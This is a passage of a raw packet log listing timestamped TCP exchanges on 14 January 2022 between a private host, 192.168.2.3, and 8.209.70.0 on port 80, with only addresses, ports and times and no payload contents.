Jan 14, 2022 20:23:44.620094061 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620102882 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620114088 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620131016 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620141029 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620160103 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620172977 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620187044 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620198011 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620217085 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620229959 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620244980 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620253086 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620271921 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620282888 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620301008 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620309114 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620330095 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620357037 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620383978 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620403051 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620410919 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620436907 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620439053 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620465994 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620471001 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620491982 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620493889 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620521069 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620523930 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620546103 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620547056 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620569944 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620575905 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620596886 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620603085 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620621920 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620630026 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620647907 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620657921 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620670080 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620685101 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620693922 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.622222900 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.633049965 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633085012 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633110046 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633119106 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.633136988 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633163929 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633167982 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.633188963 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633199930 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.633234024 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633234024 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.633286953 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633290052 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.633312941 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633337975 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633341074 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.633363962 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633368015 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.633389950 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633403063 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.633438110 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.633917093 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.633965015 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.637826920 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.637880087 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.637900114 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.637907982 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.637933969 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.637950897 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.637960911 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.637979031 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.637989044 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638012886 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638014078 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638036966 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638041973 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638062000 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638067961 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638086081 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638093948 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638108015 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638120890 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638132095 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638147116 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638165951 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638174057 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638185978 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638200998 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638211966 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638226986 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638246059 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638268948 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638447046 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638470888 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638495922 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638497114 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638520956 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638529062 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638546944 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638549089 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638560057 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638572931 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638592005 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638597965 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638617039 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638626099 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638638973 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638652086 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638669014 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638678074 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638689995 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638704062 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638721943 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638734102 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638744116 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638766050 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638808012 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638820887 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638847113 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638873100 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638879061 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638900995 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638922930 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638926029 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638953924 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.638959885 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.638981104 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639000893 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639007092 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639033079 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639034033 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639060020 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639070988 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639087915 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639094114 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639115095 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639116049 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639142990 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639149904 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639163971 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639178038 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639187098 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639204025 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639223099 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639230013 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639246941 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639254093 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639271021 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639281034 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639303923 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639307022 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639329910 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639333963 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639353037 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639358997 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639385939 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639389038 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639413118 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639416933 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639437914 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639439106 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639462948 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639465094 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639487028 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639492035 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639511108 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639518023 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639537096 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639544964 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639568090 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639570951 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639595985 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639599085 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639622927 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639632940 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639650106 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639658928 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639674902 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639694929 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639699936 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639724970 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639725924 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639749050 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639751911 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639774084 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639776945 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639797926 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639803886 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639825106 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639832973 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639844894 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639859915 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639868975 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639888048 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639910936 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639914036 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639940977 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639945030 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639966011 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639967918 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.639991999 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.639991999 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640016079 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640028954 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640041113 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640055895 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640074015 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640080929 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640100002 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640109062 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640130997 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640136957 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640161991 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640165091 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640187979 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640194893 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640216112 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640218019 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640239954 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640243053 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640269041 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640269995 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640289068 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640295982 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640316010 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640322924 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640341043 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640348911 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640362978 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640376091 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640386105 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640402079 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640410900 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640429020 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640444040 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640455961 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640467882 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640481949 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640491962 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640507936 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640525103 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640535116 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640547991 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640561104 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640578032 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640587091 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640598059 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640613079 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640624046 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640641928 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640655041 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640669107 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640685081 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640693903 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640707016 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640721083 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640733004 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640748024 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640755892 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640774965 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640796900 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640799046 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640825033 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640831947 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640851974 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640855074 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640877008 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640877962 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640901089 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640902996 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640925884 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640930891 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640949965 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640958071 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640971899 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.640985966 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.640995026 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.641012907 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.641036987 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.641038895 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.641064882 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.641067028 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.641089916 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.641092062 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.641115904 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.641118050 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.641140938 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.641144037 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.641164064 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.641170979 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.641187906 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.641207933 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.650651932 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.650684118 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.650710106 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.650742054 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.651149988 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.668287992 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668318987 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668344021 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668369055 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668387890 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.668395042 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668421984 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668426037 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.668448925 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668467045 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.668474913 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668499947 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668518066 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.668525934 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668551922 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668569088 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.668577909 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668602943 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668615103 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.668628931 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668653965 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668665886 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.668679953 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668705940 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668719053 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.668730974 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668756962 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668781996 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668807030 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668819904 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.668833017 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668859005 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668872118 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.668878078 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668904066 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668915033 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.668930054 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668957949 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.668984890 CET	80	49855	8.209.70.0	192.168.2.3
